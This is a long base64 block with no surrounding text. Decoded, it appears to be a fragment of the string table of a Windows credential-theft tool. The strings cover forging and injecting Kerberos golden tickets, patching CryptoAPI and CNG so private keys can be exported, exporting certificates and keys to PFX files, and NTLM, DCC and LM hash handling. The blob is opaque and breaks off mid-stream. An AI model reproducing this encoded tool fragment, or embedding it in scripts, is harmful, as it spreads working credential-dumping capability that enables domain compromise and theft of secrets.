OwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAA8ADMAIABlAG8ALgBvAGUAIAB+ACAAQQBOAFMAUwBJACAARQA+AAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhACAAOwAgAEgAYQBzAGgAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAYwBvAHUAbgB0AAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAJQB1AC0AJQAwADgAeAAuACUAcwAAAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAHYAYQBsAGkAZAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAcgBvAHgAeQAAAHAAcgBvAHgAaQBhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAbwBmAGYAAAB0AGUAcwB0AAAAAABiAHUAcwB5AGwAaQBnAGgAdAAAAEIAdQBzAHkATABpAGcAaAB0ACAATQBvAGQAdQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AbwBmAGYAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAASQBOAFAAVQBUAEUAVgBFAE4AVAAAAAAATABJAEcASABUAAAAUwBPAFUATgBEAAAASgBJAE4ARwBMAEUAXwBDAEwASQBQAFMAAAAAAEIAdQBzAHkATABpAGcAaAB0ACAAZABlAHQAZQBjAHQAZQBkAAoAAAAAAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQAeAAsACAAVgBlAHIAcwBpAG8AbgA6ACAAMAB4ACUAMAA0AHgACgAgACAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgADoAIAAlAHMACgAgACAAQwBhAHAAYQBiAGkAbABpAHQAaQBlAHMAIAAgADoAIAAwAHgAJQAwADIAeAAgACgAIAAAACUAcwAsACAAAAAAACkACgAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHAAcgBvAHYAaQBkAGUAcgBzAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABwAHIAbwB2AGkAZABlAHIAcwAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwByAHkAcAB0AG8AQQBQAEkAIABsAGEAeQBlAHIAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAHIAcwBhAGUAbgBoAAAAAABDUEV4cG9ydEtleQBuAGMAcgB5AHAAdAAAAAAATkNyeXB0T3BlblN0b3JhZ2VQcm92aWRlcgAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdFNldFByb3BlcnR5AAAATkNyeXB0RnJlZUJ1ZmZlcgAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAEJDcnlwdEVudW1SZWdpc3RlcmVkUHJvdmlkZXJzAAAAQkNyeXB0RnJlZUJ1ZmZlcgAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAlADIAdQAuACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQgBDAHIAeQBwAHQARQBuAHUAbQBSAGUAZwBpAHMAdABlAHIAZQBkAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAABDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQB5AAAAAABzAHQAbwByAGUAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcAByAG8AdgBpAGQAZQByAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAACAAIAAgACAAJQBTAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgAgACUAMAA4AHgACgAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUABmAHgAIAA7ACAAUABGAFgARQB4AHAAbwByAHQAQwBlAHIAdABTAHQAbwByAGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAZQBsAGUAdABlACAAdABlAG0AcAAgAGsAZQB5AHMAZQB0ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAg